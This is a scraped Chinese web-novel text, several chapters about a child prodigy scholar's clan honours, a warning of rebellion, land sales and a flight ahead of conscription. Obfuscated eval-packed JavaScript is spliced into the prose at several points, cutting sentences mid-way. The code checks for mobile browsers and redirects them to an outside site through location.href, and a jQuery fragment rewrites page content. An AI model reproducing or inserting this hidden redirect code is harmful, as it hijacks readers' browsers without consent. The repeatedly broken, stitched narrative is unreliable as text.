所以柳溪村众人自然也都知道方子期和方仲礼双双中榜的事情。 此刻方仲礼方子期回了柳溪村,自然受到了无数吹捧。 搞得方仲礼有些无所适从。 “哎!” “还是前两次好!” “他们都不知道中榜的事情,我还能同他们说道说道。” “现在这乡亲们都知道中榜的事情了,我都没话说了!” 方仲礼叹了口气。 他还是喜欢那群倔强的柳溪村村民! 尤其是那一张张不信他们父子会中榜的笃定嘴脸! 这样他才能顺着说:“你怎么知道我家子期又是院试案首?” 可惜啊! 方子期见自家老爹如此模样,顿时嘴角一抽…… 好家伙…… 他这老爹看来是装上瘾了。 现在没得装了,心里空落落的。 汪! 汪! 汪汪汪! 熟悉的犬吠声传来。 方子期眼前一亮,掀开门帘一看。 阿黄正激动地朝着大青骡车奔跑过来。 在阿黄身后,还有一只更小些的小黄狗。 此刻这只小黄狗虽不大,但是那就啊四只小短腿倒腾地倒是极快。 “阿黄!” 方子期示意方虎暂时停车。 阿黄一个熟练的跳跃,就跳上了车。 但是那只小黄狗就为难了。 小短腿怎么也够不上马车。 “呜呜呜……” 阿黄此刻用嘴巴在方子期手上蹭了蹭,又时不时地看向地面上焦急的小黄狗。 方子期莞尔一笑。 阿黄的意思,他哪能不知道? 方子期一个跳跃,跳下骡子车。 随即将小黄狗一手抄起来。 小黄狗约莫也就两三斤重,此刻骤然被方子期抱起,显得有些激动,还在呜咽呜咽地叫着。 等小黄狗也上了骡子车,阿黄顿时就放心了。 那尾巴随即就开始了如同螺旋桨般的旋转速度。 “阿黄!” “来!” “吃肉!” 大丫拿出早就准备好的红烧肉,阿黄先是冲着方子期投去一个谄媚的笑脸,随即又冲着大丫笑了笑,紧跟着伸出前爪,拍了拍小黄狗。 小黄狗摇晃着身体来到红烧肉旁,此刻忍不住大快朵颐起来。 “娘!” “阿弟!” “你们快看!” “阿黄舍不得吃肉!全给它孩子吃了!” “天呐!” “阿黄以前可是最喜欢吃红烧肉的了!” “它居然能忍得住!” 三丫忍不住在一旁大惊小怪道。 此刻眼眸中满是震撼。 这阿黄,也太通人性了吧! “三姐!” “再拿些红烧肉吧!” “单独分出来,给阿黄吃。” 方子期摸了摸阿黄的毛发,这几个月明显瘦削了不少。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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族长:子期,你在族谱上单开一页吧 “是真的就好!” “是真的就好啊!” “我方家……” “当兴啊!” “一门三秀才!” “光耀门楣啊!” 老爷子方守义激动地连连点头,一张脸也早已晕红。 周围一些喜欢凑热闹的邻居当即跟着吹捧。 “老爷子好福气啊!二房尽出文曲星!一房更比一房强!” “这方家老二平日里不吭声不吭气的,没想到也是个读书的好苗子,第一次下场科举,就中了秀才!” “老爷子,当初若是全力支持老二考科举,说不得你家已经出了举人了呢!” “不过现在也不迟就是了!” “老爷子!祖坟冒青烟了啊!” “老太太!今儿高兴吧?儿子孙子都这么有出息!将来说不得还要给你请个诰命呢!” “要说那算命先生算得还挺准,方家的确出文曲星啊!不过这算命的也顶多算个半仙!这文曲星眼瞅着就是出在二房了啊!” “要我说,当初这家分得好啊,不然这一大家子还供着大房读书,哪有二房出头的机会?” …… 邻居们你一言我一语的。 大多是好话,但是也有一些口不应心的。 老爷子方守义默默倾听着,想了想以前的那些过往,嘴里也不由得泛起了苦水。 难道…… 他真做错了吗? 当初全力支持大房考科举,供了几十年,虽说机缘巧合供出了个秀才。 但…… 老二家的,才读书几年啊,就中了秀才。 当初若是让老二也去学堂开蒙,说不定老方家真要出举人? 老爷子方守义此刻显得有些沉闷。 但是一旁的奶奶柳氏早已被各种吹捧之言闹腾地分不清东南西北啊! 还是老头子有眼见啊! 这两年时不时的,给子期供应些银钱,让子期读书。 这子期果真是个有出息的! “子期!” “仲礼!” “你们终于回来了!” “走!” “去祠堂!” “这天大的好事!” “定是要告慰祖宗先灵的!” “子期!” “我同族中的几位族老都商量好了。” “我方氏族谱准备从你这里开始,单开一页!” 族长方文泰笑呵呵地走上前,提及了族谱单开一页的事情。 方子期顿时愣住了。 我才八岁啊,族谱单开一页,让我一个人孤零零地挂在上面? 倒是怪难为情的。 “族长。” “这事以后再说吧,不着急。” 方子期摆摆手,随口敷衍道。 简单收拾了下。 众人前往祠堂。 这一次连带着老爷子方守义也一起跟着来了。 此次开祠堂的主角有两位。 方子期和方仲礼。 一个院试案首,一个院试十八名。 都是值得开一次祠堂的。 方仲礼虽然是方子期的爹。 但是祖宗祠堂的规矩还是不能破的。 方子期手持沉香,站在祠堂的最前方。 方仲礼和方守义还有族长方文泰站在第二排。 在一旁,方子期还看到了方夫子和方砚秋。 此刻方夫子朝着方子期投去赞许的目光。 方子期也朝着方夫子所在位置投去感激的目光。 祠堂内,烛火摇曳。 方子期的目光朝着周边扫了一圈。 不知何时。 他大伯方伯山居然带着方文轩和方文舟也进了祠堂。 此刻站在祠堂较为靠后的位置。 “伯山!” “文轩!” “文舟!” “你们过来!” “站在子期身后!” “数次开祠堂,你们都不在!” “今日既刚好赶上。” “也当多给祖宗上炷香!” 族长方文泰发话了。 方伯山挤着笑容走了过来,恭恭敬敬地站在老爷子方守义身后。 此刻祠堂前三排,基本上都是方子期的家人。 看到自家堂弟站在祠堂第一排,引领着一众方氏族人一起祭祖的姿态,大堂哥方文轩不由得有些感慨…… 想当初,他同这小堂弟方子期一起下场县试…… 当时他还以为自己比小堂弟方子期的学问要高深一些。 但是自己连县试都没过,他这小堂弟居然已连中三元了! 现如今已然是秀才功名了!而且因是院试案首,所以还是秀才中的廪生,每月都能领取朝廷廪米的。 至于方文舟…… 此刻站在后面,莫名地感觉身体有些发抖…… 他这堂弟的磁场太强大了! 他把控不住! 虽说他同这堂弟在一起念书时间极短,只是在族学中一起学习过一段日子,但…… 两年过去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“亦愿我族香火永续,科甲不断,代代荣昌!谨以斯文,告慰先祖之灵。尚飨!” 第129章 全族迁移,时不我待 族长方文泰念念有词。 越念,脸色越红,声音越洪亮。 “子期!” “带领族人给祖宗上香!” 方文泰念完祭词后,郑重其事对方子期道。 方子期点点头,随即举着香放入前面的香炉之中。 紧跟着方文泰开始唱词。 “祖宗!” “我方族麒麟儿方子期给你上香了!” “唯愿祖宗庇佑我方族麒麟儿来日乡试中举!会试高中!” 族长方文泰突然大吼一声。 等祭祖结束后,方子期一家人并不曾直接离开。 “族长。” “您将族老聚到一起来吧。” “我有事要同族老们说。” 方子期脸色沉闷道。 “啊?” “是!” “我马上去叫人!” 族长方文泰不疑有他,连忙召集人过来。 很快除了族长方文泰外,又来了三位族老,其中一位就是方夫子。 此刻他大伯方伯山和爷爷方守义也不曾走。 “接下来我要说的事,事涉机密,切不可外传。” 方子期先打了个预防针。 “理当如此!” “谁若是乱传,就逐出方族!” 族长方文泰虽不知究竟是什么事。 但是他方家麒麟儿都发话了,他自当要严阵以待。 “山岱省的大旱,诸位族老应当都听说了吧?” 方子期道。 “嗯!” “听说了。” “据说山岱省那边已到了人相食的程度。” “最近咱们禾阳县都多了不少山岱省的流民。” “子期,你说这个是什么意思?” 其中一位族老方守仁好奇道。 “根据我在府城得来的消息。” “山岱省已经出现了叛乱之事!” “其中势力最大者,是一个叫黄角的人带领的叛军。” “他们已经攻占了好几个县城,裹挟百姓已达十万,已成气候。” “他们极有可能会南下直扑汉江省。” “所以……” “可能最近朝廷就会征召兵役了。” 方子期一言出。 顿时场面就像是炸了锅一样。 几个族老的脸色瞬间变得难看至极。 争论良久,方文泰才悠然叹道:“子期,你恐怕不知,前些日子,朝廷征召过一次徭役。” “我们柳溪村派去了上百名青壮,等回来时,只剩下不足七十人!” “死在此次徭役中的青壮多达三十余人!” “此次徭役就是给边军当辅兵的,伤亡都已如此之大!” “若是真正的兵役……” “那伤残…岂不是要达到一半以上?” “百姓,何其苦也!” 族长方文泰摇着头,神色显得格外苦涩。 “子期!” “兵役之事!” “确定落实了吗?” 族老方守仁忧心忡忡道。 “暂时朝廷还没有下达明令。” “不过……” “空穴不来风。” “此事…可能性极大。” “宁江府中,不少大户人家已经开始售卖宅邸,往通衢府,或者是更南方去了。” “兵役固然苦。” “可若是叛军越境……” “那才是真的寸草不生。” “族长。” “此次院试结束,我同我家准备前往省城通衢府求学了。” “我希望族人们也能清理一下产业,随我一起前往通衢府暂避灾祸。” 方子期提议道。 一众族老直接沉默了。 他们在柳溪村待了这么多年了。 世世代代都在这里。 骤然抛家舍业地离开…… 自然舍不得。 “子期。” “全族迁移……” “此事…实在是太大了!” “离开了柳溪村,就算是逃去了通衢府,族人们吃什么喝什么?” “就那些散碎银两又能撑得了几时?” “这不现实。” “子期!” “你们一家子先前往通衢府读书去吧!” “读书上若缺银钱,尽管同族里提!” “哪怕是将族田全卖了,也必须要供你科举!” “你是我方族麒麟儿!” “更是我整个方族之希望!” 族长方文泰言之凿凿道。 其余三位族老也都是一个态度。 供方子期读书,方族可不遗余力! “族长。” “要我说。” “子期所言,必须要重视。” “真要是叛军入境,有了兵祸,那就是大祸事。” “可以召集族人们一起商议商议。” “谁家愿意跟随 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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到时候万一运势不好评了个六等就完犊子了! 第130章 八方来贺,孙员外的变化 “大哥。” “这大宗师已经离开宁江府,前往下一府案临主持院试去了。” “你就别想这么多了。” “这位柳大宗师看起来还是很讲究公道正义的。” “所以你也不必过于担心。” “只要你学问不差,岁考不会名列六等的。” 方仲礼解释道。 “嗯?” “二弟!” “这么说起来!” “你们当真同这柳大宗师关系匪浅?” “怪不得子期能中院试案首!二弟你都能在中榜第十八名!” “看来你们同大宗师的关系确实够硬啊!” “二弟!” “你是怎么勾搭上大宗师的?” 方伯山兴致盎然道。 方仲礼别过脸去,懒得说话了。 他这大哥。 一开口怎么就这么讨厌呢? 他这啥意思? 吾儿的案首不是真才实学?是靠关系才得来的? 见方仲礼不说话,方伯山随即转头去找方子期。 “子期!” “你说说!” “你们是怎么勾搭上大宗师的?” “难不成是花少爷的门路?” 方伯山想起花允谦一直同方子期交好…… “大伯!” “你若是有攀附的闲心,多读些书,也不至于还要忧心岁考不过。” 方子期面无表情道。 实在是无语到了。 方伯山脸色一僵,我被一个晚辈给教训了? 方伯山正欲发怒。 老爷子方守义发火了。 “老大!” “你一路上叨叨个什么!” “我看你现在的脑子都被那小寡妇给迷住了!” “整日里说这些不着调的事!” 方守义瞪了方伯山一眼。 不知道为什么。 现在越看这家伙越不得劲。 老二多懂事? 这老大…不提也罢! 方伯山嘟囔着嘴,但是也不敢顶嘴。 到了老宅。 方子期又看到了那位孙员外…… 人生无常…… 方子期算是发现了。 他每考一次试,这位孙员外都要来送一次礼。 而且这礼越送越多。 不说这孙员外的品性如何,至少他这商人的眼光确实不错。 “老太爷!” “冒昧打搅!” “还望不要见怪才是!” “仲礼老弟!” “子期!” “恭喜你们高中!” “以后就都是秀才相公了!” “方家一门三秀才!” “老爷子!” “你有福啊!” 孙员外一脸谄媚的笑容。 这一次孙员外仍旧将他那小女儿给带来了。 但是这一次他只是让自己的小女儿宛禾多同方子期亲近亲近,但是只字不提所谓的定下婚约之事。 当初方子期第一次中了县试案首的时候,他尚且还有所底气定下婚约。 当方子期中了府试案首的时候,孙员外咬咬牙,补上万两白银的嫁妆,他觉得也是有资格撮合一下自己的女儿宛禾和方子期的。 但是当方子期中了院试案首之后。 孙员外就彻底放弃了。 已经不相配了。 除非方子期长大后,自家女儿长得国色天香,然后方子期自己喜欢上了自家女儿,那自家女儿或许还有可能给方子期当个妾室什么的。 否则…… 这辈子无缘了。 八岁的院案首…… 多的是官宦家庭想要将女儿嫁过去的。 这前途,实在是太无量了! 作为商人。 消息的来路他还是有一些的。 他都听说了。 方子期在府城结识的大多是官宦子弟。 就连知府大人和学政大人都对其青睐有加。 这样的人物,那就是天之骄子。 唯一的软肋可能也就是这个出身了。 但是当一个人足够优秀的时候,所谓的出身不出身的,也就不重要了。 昔日的洪武大帝,当皇帝前就是个和尚。 但是当他功成名就后,谁还敢在他面前直呼其朱重八之名? “孙员外。” 方子期拱拱手,也打了个招呼。 “子期!” “叫什么孙员外!多见外啊!” “我在你这秀才公面前可不敢称什么员外!” “子期你要是看得起我,直呼我名即可!” 孙员外脸上满是讨好的笑容。 一旁的方伯山见了,一脸郁闷。 他这亲家,有些不识抬举啊。 都是秀才。 他这亲家对他何时如此热情过? 但是对子期…怎么就像是一只哈巴狗一样,不停地谄媚? “孙叔。” 方子期微微一笑,称呼道。 他总不能真的直呼孙世昌其名吧。 这孙员外到底是他大堂姐的公公。 “哎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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但是方子期这个八岁的院试案首,对很多人而言,同一般举人的含金量也没什么区别就是了。 第131章 举家搬迁,避祸 晚间。 方家老宅内。 一大家子看着一屋子的礼品,顿时面面相觑。 大伯一大家子,今日倒是反常地没有直接回县城,而是留在老宅了。 “爹!” “你当时中秀才的时候,礼物还不如这一成多呢!价值更是半成都不如。” 方文舟忍不住感慨道。 说者无心,听者有意。 方伯山的脸色顿时红得像猴屁股似的。 大伯母赵氏更是满脸的不痛快。 “小孩子家家的知道什么!” “这些礼物大多都是我家亲家送的。” “我家亲家那也是看在我们家玉瑶和伯山的面子上,那才会送出如此重礼的!” “二弟!二弟妹!” “你们可得感激我们家玉瑶还有你们大哥的恩情才是!” 大伯母赵氏当即跟着宣扬开了。 这眼珠子恨不得贴在那些礼物上。 “大伯母既这样说。” “那说明孙员外也不是诚心诚意给我们送礼物的。” “既如此,爹,明日你用大青骡车将孙员外家的礼物给他们送回去吧!” “说明此间情况就好。” 方子期对着方仲礼道。 方仲礼点点头:“理应如此。” 听到方仲礼和方子期这样一说。 大伯方伯山顿时脸色一白,随即厌恶地瞪了一眼大伯母赵氏。 “你个头发长见识短的蠢妇!” “瞎咧咧什么?” “他孙世昌见子期大有前途,想着提前结交罢了!” “轮得到你什么事了?” 方伯山冷哼一声。 他又不傻,这事,他看得通透得很。 若是这些礼物真的被方仲礼送回孙家。 再将事情的前后因果说清楚。 那孙员外必定会雷霆大怒。 方伯山这一大家子可全靠着孙员外接济才能在县城生活。 可不敢得罪这位金主。 若是断了进项,他这一大家子在县城就等着饿死吧。 “二弟!” “子期!” “这些礼物都是我那亲家的一片心意。” “可千万不能送还回去。” “否则我是真的无法交代啊!” 方伯山忍不住央求道。 方仲礼点点头,也就没多说什么了。 晚饭后。 老宅内,一大家子聚在一起。 大多都在言谈着方子期多么聪明,以后定是有大出息的…… 反正一晚上,他三婶王氏的嘴就没停过。 眼看着时候差不多了。 方子期看了一眼老爹。 随即说了一下准备去府城通衢府读书的事情。 顺便将白天在族内同几位族老说的又说了一遍。 “灾祸若起。” “谁都躲不过去。” “去了通衢府,那毕竟是省城,安全性要更高一些。” “而且到时候真要是情况不对,还能乘船去对面躲避。” “此事我今日同族长族老他们都说过了。” “爷爷奶奶!” “大伯大伯母。” “三叔三婶,就跟着我们一同去通衢府吧。” 方子期一脸肃穆道。 想象一下,若是汉江省成了第二个山岱省…… 百姓们过得会是什么日子? “啥?” “去通衢府?” “这…这如何使得!” “我们在禾阳县生活多少年了……” “哪能说走就走!” “去了通衢府,连个知根知底的人都不认识。” “而且那省城的宅子多贵啊,到时候又买不起宅院……” “这日子眼看着都好起来了,又要抛家舍业过那穷苦日子……” “还有文轩和文舟,还要去学堂……” 大伯母赵氏当即跟着吼开了。 “大嫂。” “去留随意。” “你想留在禾阳县,那就留吧!” “反正我家子期将话都说开了。” “到时候叛军来了,再想跑可就没那么容易了。” 苏静姝淡淡道。 虽然她们妯娌间的关系不怎么样。 但是打断骨头连着筋。 如果可以的话,苏静姝自然希望一大家子都能活得好好的。 可老话说得好,你也救不活非要寻死的人。 有些话,点到为止就好。 “三叔,三婶,你们怎么想的?” 方子期此刻如同一个小大人般,目光看向三叔方叔信和三婶王氏。 方叔信此刻甚至显得有些局促,左顾右盼,拿不定主意。 “我…我听你爷爷奶奶的。” “你爷爷奶奶若是走。” “我也跟着去!” 方叔信咬牙道。 一旁的三婶王氏忍不住咬紧嘴唇,脸上露出忧虑神色。 “真要是去了通衢府,这短时间内定是无法酿造酱油了……” “到时候这红烧肉和卤肉的买卖又得耽搁好几个月……” 三婶王氏一边说着话,脸上露出犹豫神色。 但是当方子期的目光看向她的时候,王氏突然直接改口。 “但是我相信子期不会坑害我们的!” “我们都听子期的!” 三婶王氏抬起头,神色突然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16244279|181960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 变得异常坚定。 此刻众人的目光大多看向了老爷子方守义。 至于奶奶柳氏,虽然平日里话多,但是方家人都知道,最后拿主意的,还是老爷子。 “这事……” “其实我也想了大半天了。” “今日子期在族里说的时候,我就在想。” “离开生活了这么多年的地方,到底是有些舍不得的。” “但是族长都说了,子期是我们方家的麒麟儿!” “我方家的麒麟儿说的话,定是要听的!” “我同意举家搬迁!” “那些田地屋舍都是身外之物。” “只要有人在,就有家在。” “存地失人,人地皆失!” “存人失地,人地皆存!” “我方族的老祖宗尚且能迁徙于此,创下这么一大片家业。” “我们这些后辈子孙,亦然!” 老爷子方守义一锤定音。 方子期忍不住对着自家这爷爷多看了两眼。 居然还有‘存人失地,人地皆存’的格局。 以前他只觉得他这爷爷喜欢偏心大房,但是脑子不算糊涂。 但是今天倒是让他刮目相看了一会。 “哎!” “说走就走,哪里是那么容易的。” “家里这么多家当,到时候没人看守,可不就全没了……” “还有咱家那么多的地……” “还有……” 奶奶柳氏跟着念叨开了。 “好了!” “这事就这么定了!” “老二老三,你们明天去找村长,将你们名下的田地,还有我名下的三亩上田,全卖了!” “价格只要不是太低就行!尽快出手!” 老爷子方守义沉声道。 “卖地?” “爹!” “咱们躲了这灾祸,不是还能回来吗?” “这地要是没了,回头我们回来了吃什么啊!” 三叔方叔信顿时惊了! 这地可就是他的命根子! “真要是叛军入境,短时间内消停不了的。” “穷家富路!” “卖了田地,拿了银钱,就算是去了其他地方过活,也就不怕饿着了。” “照我说的去办!” “至于老大家…你们的田地反正早就卖完了。” “你们回县城也收拾收拾,过几日,我们一起走!” 老爷子方守义直接发话道。 “爹!” “我…我不一定走……” 方伯山嘟囔道。 在禾阳县县城的日子多舒服啊。 背井离乡去过苦日子? 第132章 原来我方伯山才是气运之子 在禾阳县,有孙员外这样的亲家罩着,虽然不能锦衣玉食,但是也能吃喝不愁啊! 可若是去了什么通衢府…… 到时候吃什么喝什么? 见方伯山脸色阴晴不定,老爷子方守义吧唧吧唧吸了好几口老旱烟,稍缓了一下后沉闷道:“随便你吧!不过你自己注点意,若是见情况不对,就赶紧走!别磨蹭!” “叛军真要是来了……” “那就如同蝗虫般……” “没有你的好日子过的。” “别指望你一个秀才功名能顶住多大事!” “方夫子都说了,山岱省的那些叛军,人相食啊!” “哎!” 老爷子方守义重重地叹了口气。 方伯山此刻忍不住吞咽了一口唾沫。 当真…这么可怕吗? “子期……” “这…这叛军真能杀过来吗?” “你估摸着,叛军有几成概率杀到我们禾阳县?” “还有…我听说这叛军不是挺得民心的吗?到时候应该不会祸害我们这些老百姓的吧?” 方伯山缩了缩脖子,此刻也有些惊惧地询问道。 “大伯,皮之不存**将焉附?” “你将我们今晚所说的事情,同孙员外说一下。” “到时候让孙员外给你做决定吧!” 方子期淡然道。 他这大伯素来如此。 对自家人说的话素来不当回事,但是将那孙员外的话直接当成圣旨。 “好!” “子期!我…我知道了!” 方伯山点点头,显然是上心了。 第二天一大早,方伯山就带着一大家子急匆匆地回了县城。 白日里,他爹方仲礼和三叔方叔信拿着地契去找村长,准备将田地都卖了,置换银钱。 村长顾苍自然是好一阵惋惜,毕竟眼看着这稻谷就能收割了,这个时候卖田地,属实不划算啊。 不过也正是因为如此,这个时候卖田地,倒也确实好卖一些就是了。 方叔信卖田地的时候其实还有些犹豫,想着要不要留个三五亩? 但是在方仲礼的强硬态度下,只能全卖了。 方家这些田地基本上都是连在一起,所以倒也不愁没人要。 邻村的地主直接给包圆了。 而且给的价钱也不低。 “爹!那邻村的曹地主没压价。” “上田给的十六两银子一亩!三亩上田就是四十八两银子!” “中田给的七两银子一亩,我和二哥家各四亩中田,总共得了五十六两银子。” “下田曹地主居然也给了四两银子一亩,说是我家田地肥,就算是下田产量也不低!我和二哥总共六亩下田,卖了二十四两银子。” “卖田的银钱都在这了,拢共128两银子。” 方叔信将一百多两银子递送到老爷子方守义面前。 “我只拿我那一份!” “剩下的你们兄弟两个自己分。” 老爷子方守义拿走了卖上田的48两银子。 剩下的80两银子方叔信和方仲礼各分了40两。 与此同时。 禾阳县城。 孙宅。 回到县城后。 方伯山就马不停蹄地赶到了孙员外家。 随即将举家迁移之事说了一下。 “这些都是子期的原话?” 孙员外倏然站起身,脸上露出惊愕神情。 “亲家,咱俩谁跟谁啊,我还能骗你吗?” “今天我那二弟和三弟已经在卖田地了。” “想来是已经下定决心了。” “听我那子期侄儿说,府城里,已经有不少大户卖了宅院往南方跑了。” “亲家,我这是真拿不定主意啊!” “您说怎么办,我就怎么办!” “您去哪,我去哪!” 方伯山一脸笃定道。 没有孙家这个大血包在,他这个空头秀才又没个来钱的门路,家都养不活。 “我先前倒是也听到了一些风声。” “只是没想到事情居然已经严峻到了如此地步。” “如此这般。” “那的确是要走了。” “子期在府城时,颇受知府大人和学政大人的青睐。” “想必是这两位大人向子期暗示了些什么……” “所以子期才会如此决绝!” “只是这些事,子期也不好同你们明说。” “毕竟牵扯到两位正四品大员……” “呼!” “伯山啊!” “你这运气是真好啊!” “天赋虽不佳,却有双亲兄弟供你科考几十年!” “学问虽不精,却能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16244280|181960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 碰到科举舞弊之事,铲除诸多竞争对手,从而尾名中榜。” “做人虽亦不行,但是却有一个天资聪颖、七窍玲珑的血亲侄子保你小命!” 孙员外忍不住发出悠然之叹。 在这上面,他是真有些妒忌方伯山了。 不说别的。 若是方子期是他侄儿,他早就将其供起来当祖宗了。 这个方伯山,靠着如此一棵大树,居然不知道乘凉,还在那说风凉话? 何其蠢也! 这样的人,也能中秀才? 孙员外突然有些后悔自己当年没有试一试考科举了…… 方伯山这样的人都能中秀才,我上我也行。 “额……” “亲家,我院试中榜不是尾名,我的名字在孙山之前!” 方伯山纠正道。 孙员外:“……” 倒数第一名和倒数第二名有什么区别? “你回去收拾收拾吧。” “到时候一起走!” “我也将家里的产业归整归整。” “届时我也同你们方家一起前往通衢府。” 孙员外当即就下定了决心。 “亲家。” “你也走?” “你在县城这偌大家业,就这么给弃了?” “这要是急卖产业,要被压价多少?” “亲家,这也太亏了啊……” “万一那叛军不来禾阳县呢!” “万一那叛军刚进汉江省就被朝廷大军歼灭了呢!” 方伯山一脸惋惜的神情。 “所以呢?” “万一叛军来了禾阳县呢?” “你觉得我这产业能保得住?” “到时候说不定还有性命之忧!” “我的命只有一次。” “可赌不起!” “而且!” “八岁的院试案首!” “你方家麒麟儿说的话!” “我信!” “我孙世昌自问从未错看过一人!” “就是当年同你结亲的时候,看漏了子期!” “当时我也是真的找了道行高深的大师算了命,说是我孙家若是能娶了你方家女,能保世代昌隆!” “当时你刚好中了秀才,我还以为此事就应在你身上了!” “谁知道…你侄儿子期才是此中关键!” 孙员外扼腕叹息。 第133章 二丁抽一,一丁有子亦要抽 有时候啊。 这不信命是真不行。 孙员外在做错后,也曾弥补过。 当时方子期县试高中案首时,孙员外就有所感,想着将自家女儿同方子期定亲。 只可惜。 那个时候已经晚了。 听着孙员外如此说,方伯山张了张嘴,也不知道该说什么好了。 合着…… 我就是个捡漏的? “亲家。” “你真决定了要走?” 方伯山不放心,又确认了一遍。 “嗯!当然!” “怎么了?有什么事吗?” 孙员外瞥了一眼方伯山道。 “那我回头就将我家宅子卖了。” “咳……” “亲家,我家宅子的地契还在你那呢!” 方伯山小声道。 孙员外:“……” 那是你的宅子吗? 分明是我掏的钱! 不过孙员外此刻也懒得计较这些了,叫管家拿来地契,随即就开始大卖产业! 价格不是问题! 只要给现银就行! 孙家大卖产业,此刻倒也有不少人上门来探问情况。 孙员外对外只说不打算在禾阳县这种小地方发展了,准备去省城通衢府闯一闯。 至于其他。 他嘴风极严。 不光自己不说,还特地敲打了一下方伯山,让他管好自己的嘴巴。 …… 在方子期归家的第三天。 县衙那边就来了人,找到柳溪村的村长顾苍,说了要征兵役的事情。 顾苍瞬间感觉天都塌了! “这徭役过去还没多久,怎么又要征兵役?” “而且……” “这征的的是不是有些太狠了些?” 村长顾苍嗫嚅着嘴唇,看着这符牒上的字眼,嘴角都打飘。 “爹!” “消息是无误的。” “我就是县衙的文书我还能不知道吗?” “我得到消息,第一时间就拿着符牒过来了。” “爹!” “准备起来吧!” “这一次…很严格。” “上面都疏通不了。” “本来花县令都要调任了。” “因兵役之事,都被暂时耽搁下来了。” “上面下了死命令。” “而且还有鹰扬卫盯着这件事。” “所以此次兵役,就算是银钱,也无用了。” “不像上次徭役,还能花五两银子顶个缺。” 顾雍叹了口气,神色有些戚戚然。 “按照这上面所说。” “二丁抽一!三丁抽一!五丁抽二!七丁抽三!一丁若有子抽一!” “若是家中只有一丁者,若膝下有儿子,亦要服兵役!” “一丁为何还要抽?” “这让那些家中只有一个壮劳力的怎么活?” “这不是让人**吗?” 顾苍忍不住哆嗦着嘴唇道。 “爹!” “这也是为了防备那些人口多的家族趁机分家立户!” “这一次,上面不要钱,只要实实在在的新兵。” “爹!” “世道……恐是要变了。” “哎!” “还好我在县衙那边挂了职。” “若非如此,咱家某种程度上也算是‘一丁但有子’的家庭。” 顾雍此刻忍不住缩了缩脖子,显得有些恐慌。 照着这个征兵要求,柳溪村基本上家家户户都逃不掉。 别管你家里是一丁、二丁、三丁还是四丁,通通都要服兵役。 若是一丁都没有……那当然就不用管这个了。 所谓的丁其实就是年龄在十六岁到四十五岁的男子,也就是还能扛得动武器能当得了兵的那批人。 “通知下去吧。” “让村里人……” “都去方家祠堂开会。” 村长顾苍苦笑一声,默默摇头。 整个柳溪村,其实姓氏很杂。 但是半数以上都是姓方的,因此也就只有方族有个祠堂。 村子里面要是有什么大小事,一般也会在方族的祠堂里商议,这也已经是不成名的惯例了。 方子期年龄虽然小,但是村子里真要是有个什么大事小情,必须要请他。 毕竟方族祭祖的时候,方子期都要站在第一排了。 整个柳溪村大概也就百十户的样子,总人口约莫在七八百人,算是个中等村子。 此刻来到方族祠堂的,差不多有两百人了。 大多都是青年壮汉或是老朽。 至于小孩,好像就方子期一个。 等人来得差不多了。 村长顾苍直接将县衙的符牒公之于众,然后简单解说了一下兵役的事情。 一时间,满堂轰动! “这徭役才结束, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16244281|181960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 